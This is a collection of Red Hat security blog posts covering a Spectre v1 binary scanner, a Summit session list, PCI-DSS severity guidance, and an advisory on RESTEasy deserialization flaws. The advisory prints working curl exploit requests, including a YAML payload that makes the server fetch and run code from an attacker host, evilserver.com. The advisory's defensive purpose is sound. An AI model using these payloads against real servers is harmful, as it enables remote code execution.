As part of Red Hat's commitment to product security we have developed a tool internally that can be used to scan for variant 1 SPECTRE vulnerabilities. As part of our commitment to the wider user community, we are introducing this tool via this article.

This tool is not a Red Hat product. As such, it is not supported and does not come with any kind of warranty.

The tool only works on static binaries and does not simulate an entire running system. This means it will neither follow jumps through a PLT into a shared library, nor will it emulate the loading of extra code via the dlopen() function.

The tool currently only supports the x86_64 and AArch64 architectures. We do hope to add additional architectures in the future.

The tool is currently available in source form as it would be unwise to offer a security analysis tool as a pre-compiled binary. There are details on how to obtain the source and build the tool later in this article.

Running

To use the scanner simply invoke it with the path to a binary to scan and a starting address inside the binary:

x86_64-scanner vmlinux --start-address=0xffffffff81700001

Note - these examples are using the x86_64 scanner, but the AArch64 scanner behaves in the same way.

The start address will presumably be a syscall entry point, and the binary a kernel image. (Uncompressed; the scanner does not yet know how to decompress compressed kernels). Alternatively the binary could be a library and the address an external function entry point into that library. In fact, the scanner will handle any kind of binary, including user programs, libraries, modules, plugins and so on.

A start address is needed in order to keep things simple and to avoid extraneous output. In theory, the scanner could examine every possible code path through a binary, including ones not normally accessible to an attacker. But this would produce too much output. Instead, a single start address is used in order to restrict the search to a smaller region. Naturally the scanner can be run multiple times with different starting addresses each time, so that all valid points of attack can be scanned.

The output of the scanner will probably look like this:

X86 Scanner: No sequences found.

Or, if something is found, like this:

X86 Scanner: Possible sequence found, based on a starting address of 0:.
X86 Scanner:               000000: nop.
X86 Scanner: COND: 000001: jne &0xe .
X86 Scanner:               00000e: jne &0x24 .
X86 Scanner: LOAD:  000010: mov 0xb0(%rdi),%rcx.
X86 Scanner:               000017: mov 0xb0(%rsp),%rax.
X86 Scanner:               00001f: nop.
X86 Scanner: LOAD:  000020: mov 0x30(%rcx),%rbx.

This indicates that entering the test binary at address 0x0 can lead to encountering a conditional jump at address 0x1 would trigger speculation. Then a load at address 0x10 uses an attacker provided value (in %rdi) which might influence a second load at 0x20.

One important point to remember about the scanner’s output is that it is only a starting point for further investigation. Closer examination of the code flagged may reveal that an attacker could not actually use it to exploit the Spectre vulnerability.

Note - currently the scanner does not check that the starting address is actually a valid instruction address. (It does check that the address lies inside the binary image provided). So if an invalid address is provided unexpected errors can be generated.

Note - the scanner sources include two test files, one for x86_64 (x86_64_test.S) and one for AArch64 (aarch64_test.S). These can be used to test the functionality of the scanner.

How It Works

The scanner is basically a simulator that emulates the execution of the instructions from the start address until the code reaches a return instruction which would return to whatever called the start address. It tracks values in registers and memory (including the stack, data sections, and the heap).

Whenever a conditional branch is encountered the scanner splits itself and follows both sides of the branch. This is repeated at every encounter, subject to an upper limit set by the --max-num-branches option.

The scanner assumes that at the start address only the stack and those registers which are used for parameter passing could contain attacker provided values. This helps prevent false positive results involving registers that could not have been compromised by an attacker.

The scanner keeps a record of the instructions encountered and which of them might trigger speculation and which might be used to load values from restricted memory, so that it can report back when it finds a possible vulnerability.

The scanner also knows about the speculation denial instructions (lfence, pause, csdb), and it will stop a scan whenever it encounters one of them.

The scanner has a built-in limit on the total number of instructions that it will simulate on any given path. This is so that it does not get stuck in infinite loops. Currently the limit is set at 4096 instructions.

Options

The scanner does support a --verbose option which makes it tell you more about what it is doing. If this option is repeated then it will tell even more, possibly too much. The --quiet option on the other hand disables most output, (unless there is an internal error), although the tool does still return a zero or non-zero exit value depending upon whether any vulnerabilities were found.

There is also a --max-num-branches option which will restrict the scanner to following no more than the specified number of conditional branches. The default is 32, so this option can be used to increase or decrease the amount of scanning performed by the tool.

By default the scanner assumes that the file being examined is in the ELF file format. But the --binary option overrides this and causes the input to be treated as a raw binary file. In this format the address of the first byte in the file is considered to be zero, the second byte is at address 1 and so on.

The x86_64 scanner uses Intel syntax in its disassembly output by default but you can change this with the --syntax=att option.

Building

The source for the scanner is available for download. In order to build the scanner from the source you will also need a copy of the FSF binutils source.

Note - it is not sufficient to just install the binutils package or the binutils-devel package, as the scanner uses header files that are internal to the binutils sources. This requirement is an artifact of how the scanner evolved and it will be removed one day.

Note - you do not need to build a binutils release from these sources. But if you do not then you will need to install the binutils and binutils-devel packages on your system. This is so that the binutils libraries are available for linking the scanner. In theory it should not matter if you have different versions of the binutils sources and binutils packages installed, as the scanner only makes use of very basic functions in the binutils library. Ones that do not change between released versions.

Edit the makefile and select the version of the scanner that you want to build (AArch64 or x86_64). Also edit the CFLAGS variable to point to the binutils sources.

If you are building the AArch64 version of the tool you will also need a copy of the GDB sources from which you will need to build the AArch64 simulator:

./configure --target=aarch64-elf
make all-sim

Then edit the makefile and change the AARCH64 variables to point to the built sim. To build the scanner once these edits are complete just run "make".

Feedback

Feedback on problems building or running the scanner are very much welcome. Please send them to Nick Clifton. We hope that you find this tool useful.

Red Hat is also very interested in collaborating with any party that is concerned about this vulnerability. If you would like to pursue this, please contact Jon Masters.

This year’s Red Hat Summit will be held on May 8-10 in beautiful San Francisco, USA. Product Security will be joining many Red Hat security experts in presenting and assisting subscribers and partners at the show. Here is a sneak peek at the more than 125 sessions that a security-minded attendee can see at Summit this year.

Sessions

Cloud Management and Automation

S1181 - Automating security and compliance for hybrid environments
S1467 - Live demonstration: Find it. Fix it. Before it breaks.
S1104 - Distributed API Management in a Hybrid Cloud Environment

Containers and Openshift

S1049 - Best practices for securing the container life cycle
S1260 - Hitachi & Red Hat collaborate: container migration guide
S1220 - Network Security for Apps on OpenShift
S1225 - OpenShift for Operations
S1778 - Security oriented OpenShift within regulated environments
S1689 - Automating Openshift Secure Container Deployment at Experian

Infrastructure Modernization & Optimization

S1727 - Demystifying systemd
S1741 - Deploying SELinux successfully in production environments
S1329 - Operations Risk Remediation in Highly Secure Infrastructures
S1515 - Path to success with your Identity Management deployment
S1936 - Red Hat Satellite 6 power user tips and tricks
S1907 - Satellite 6 Securing Linux lifecycle in the Public Sector
S1931 - Security Enhanced Linux for Mere Mortals
S1288 - Smarter Infrastructure Management with Satellite & Insights

Middleware + Modern App Dev Security

S1896 - Red Hat API Management Overview, Security Models and Roadmap
S1863 - Red Hat Single Sign-On Present and Future
S1045 - Securing Apps & Services with Red Hat Single-Sign On
S2109 - Securing service mesh, micro services and modern applications with JWT
S1189 - Mobile in a containers world

Value of the Red Hat Subscription

S1916 - Exploiting Modern Microarchitectures: Meltdown, Spectre, and other hardware security vulnerabilities in modern processors
S2702 - The Value of a Red Hat Subscription

Roadmaps & From the Office of the CTO

S2502 - Charting new territories with Red Hat
S9973 - Getting strategic about security
S1017 - Red Hat Security Roadmap : It's a Lifestyle, Not a Product
S1000 - Red Hat Security Roadmap for Hybrid Cloud
S1890 - What's new in security for Red Hat OpenStack Platform?

Instructor-Led Security Labs

L1007, L1007R - A practical introduction to container security (3rd ed.)
L1036 - Defend Yourself Using Built-in RHEL Security Technologies
L1034, L1034R - Implementing Proactive Security and Compliance Automation
L1051 - Linux Container Internals: Part 1
L1052 - Linux Container Internals: Part 2
L1019 - OpenShift + RHSSO = happy security teams and happy users
L1106, L1106R - Practical OpenSCAP
L1055 - Up and Running with Red Hat Identity Management

Security Mini-Topic Sessions

M1022 - A problem's not a problem, until it's a problem (Red Hat Insights)
M1140 - Blockchain: How to identify good use cases
M1087 - Monitor and automate infrastructure risk in 15 minutes or less

Security Birds-of-a-Feather Sessions

B1009 - Connecting the Power of Data Security and Privacy
B1990 - Grafeas to gate your deployment pipeline
B1046 - I'm a developer. What do I need to know about security?
B1048 - Provenance and Deployment Policy
B1062 - The Red Hat Security BoF - Ask us (most) anything
B1036 - Virtualization: a study
B2112 - Shift security left - and right - in the container lifecycle

Security Panels

P1757 - DevSecOps with disconnected OpenShift
P1041 - Making IoT real across industries

Security Workshops

W1025 - Satellite and Insights Test-drive

On top of the sessions, Red Hat Product Security will be there playing fun educational games like our Flawed and Branded card game and the famous GAME SHOW! GAME SHOW!

No matter what your interest or specialty is, Red Hat Summit definitely has something for you. Come learn more about the security features and practices around our products! We're looking forward to seeing you there!

For those who aren’t familiar with Payment Card Industry Data Security Standard (PCI-DSS), it is the standard that is intended to protect our credit card data as it flows between systems and is stored in company databases. PCI-DSS requires that all vulnerabilities rated equal to, or higher than, CVSS 4.0 must be addressed by PCI-DSS compliant organizations (notably, those which process and/or store cardholder data). While this was done with the best of intentions, it has had an impact on many organizations' capability to remediate these vulnerabilities in their environment.

The qualitative severity ratings of vulnerabilities as categorized by Red Hat Product Security do not directly align with the baseline ratings recommended by CVSS. These CVSS scores and ratings are used by PCI-DSS and most scanning tools. As a result, there may be cases where a vulnerability which would be rated as low severity by Red Hat, may exceed the CVSS’ recommended threshold for PCI-DSS.

Red Hat has published guidelines on vulnerability classification. Red Hat Product Security prioritizes focus of security flaw remediation on Critical and Important vulnerabilities, which provide compromise to confidentiality, data, and/or availability. This is not intended to downplay the importance of lower severity vulnerabilities, but rather, aims to target those risks which are seen as most important by our customers and industry at large. CVSS ratings for vulnerabilities build upon a set of assumptions, factoring in a worst-case scenario (i.e. the CVSS calculator leaves all Temporal and Environmental factors set to “undefined”) possibly resulting in an environment that has no security mitigations or blocking controls in place, which might not be an accurate representation of your environment. Specifically, a given flaw may be less significant in your application depending how the function is used, whether it is exposed to untrusted data, or whether it enforces a privilege boundary. It is Red Hat’s position, that the base CVSS scores alone cannot reliably be used to fully capture the importance of flaws in every use case.

In most cases, security issues will be addressed when updates are available upstream. However, as noted above, there may be cases where a vulnerability rated as low severity by Red Hat, may exceed the CVSS’ threshold for vulnerability mitigation by the PCI-DSS standard and be considered actionable by a security scanner or during an audit by a Qualified Scanning Auditor (QSA).

In light of the above, Red Hat does not claim any of its products meet PCI-DSS compliance requirements. We do strive to provide secure software solutions and guidance to help remediate vulnerabilities of notable importance to our customers.

When there is a discrepancy in the security flaw ratings, we suggest the following:

• Harden your system: Determine if the component is needed or used. In many cases, scans will pick up on packages which are included in the distribution but do not need to be deployed in the production environment. If customers can remove these packages, or replace with another unaffected package, without impacting their functional system, they reduce the attack surface and reduce the number of components which might be targeted.

• Validate the application: Determine if the situation is a false positive. (Red Hat often backports fixes which may result in false positives for version-detecting scanning products).

• Self-evaluate the severity: Update the base CVSS score by calculating the environmental factors that are relevant, document the updated CVSS score for the vulnerability respective to your environment. All CVSS vector strings in our CVE pages link to the CVSS calculator on FIRST's website, with the base score pre-populated so that customers just need to fill in their other metrics.

• Implement other controls to limit (or eliminate) exposure of the vulnerable interface or system.

Further technical information to make these determinations can often be found from product support, in the various technical articles and blogs Red Hat makes available, in CVE pages’ Statement or Mitigation sections and in Bugzilla tickets. Customers with support agreements can reach out to product support for additional assistance to evaluate the potential risk for their environment, and confirm if the vulnerability jeopardizes the confidentiality of PCI-DSS data.

Red Hat recognizes vulnerability scores and impacts may differ, and are there to help you assess your environment. As a customer, you can open a support case and provide us the feedback that matters to you. Our support and product teams value this feedback and will use it to provide better results.

Red Hat JBoss Enterprise Application Platform (EAP) is a commonly used host for Restful webservices. A powerful but potentially dangerous feature of Restful webservices on JBoss EAP is the ability to accept any media type. If not configured to accept only a specific media type, JBoss EAP will dynamically process the request with the default provider matching the Content-Type HTTP Header which the client specifies. Some of the default providers where found to have vulnerabilities which have now been removed from JBoss EAP and it's upstream Restful webservice project, RESTEasy.

The attack vector

There are two important vulnerabilities fixed in the RESTEasy project in 2016 which utilized default providers as an attack vector. CVE-2016-7050 was fixed in version 3.0.15.Final, while CVE-2016-9606 was fixed in version 3.0.22.Final. Both vulnerabilities took advantage of the default providers available in RESTEasy. They relied on a webservice endpoint doing the following:

• @Consumes annotation was present specifying wildcard mediaType {*/*}
• @Consumes annotation was not present on webservice endpoint
• Webservice endpoint consumes a multipart mediaType

Here's an example of what a vulnerable webservice would look like:

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

Notice how there is no @Consumes annotation on the doConcat method.

The vulnerabilities

CVE-2016-7050 took advantage of the deserialization capabilities of SerializableProvider. It was fixed upstream¹ before Product Security became aware of it. Luckily, the RESTEasy version used in the supported version of JBoss EAP 7 was later than 3.0.15.Final, so it was not affected. It was reported to Red Hat by Mikhail Egorov of Odin.

If a Restful webservice endpoint wasn't configured with a @Consumes annotation, an attacker could utilize the SerializableProvider by sending a HTTP Request with a Content-Type of application/x-java-serialized-object. The body of that request would be processed by the SerializationProvider and could contain a malicious payload generated with ysoserial² or similar. A remote code execution on the server could occur as long as there was a gadget chain on the classpath of the web service application.

Here's an example:

curl -v -X POST http://localhost:8080/example/concat -H 'Content-Type: application/x-java-serialized-object' -H 'Expect:' --data-binary '@payload.ser'

CVE-2016-9606 also exploited the default providers of Resteasy. This time it was the YamlProvider which was the target of abuse. This vulnerability was easier to exploit because it didn't require the application to have a gadget chain library on the classpath. Instead, the Snakeyaml library from Resteasy was being exploited directly to allow remote code execution. This issue was reported to Red Hat Product Security by Moritz Bechler of AgNO3 GmbH & Co. KG.

SnakeYaml allows loading classes with a URLClassloader, using it's ScriptEngineManager feature. With this feature, a malicious actor could host malicious Java code on their own web server and trick the webservice into loading that Java code and executing it.

An example of a malicious request is as follows:

curl -X POST --data-binary '!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://evilserver.com/"]]]]' -H "Content-Type: text/x-yaml" -v http://localhost:8080/example/concat

Where evilserver.com is a host controlled by the malicious actor

Again, you can see the use of Content-Type, HTTP Header, which tricks RESTEasy into using YamlProvider, even though the developer didn't intend for it to be accessible.

How to stay safe

The latest versions of EAP 6.4.x, and 7.0.x are not affected by these issues. CVE-2016-9606 did affect EAP 6.4.x; it was fixed in the 6.4.15 release. CVE-2016-9606 was not exploitable on EAP 7.0.x, but we found it was possible to exploit on 7.1 and is now fixed in the 7.1.0.Beta release. CVE-2016-7050 didn't affect either of EAP 6.4.x, or 7.0.x.

If you're using an unpatched release of upstream RESTEasy, be sure to specify the mediaType you're expecting when defining the Restful webservice endpoint. Here's an example of an endpoint that would not be vulnerable:

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        @Consumes("application/json")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

Notice this safe version added a @Consumes annotation with a mediaType of application/json

This is good practice anyway, because if a HTTP client tries to send a request with a different Content-Type HTTP Header the application will give an appropriate error response, indicating that the Content-Type is not supported.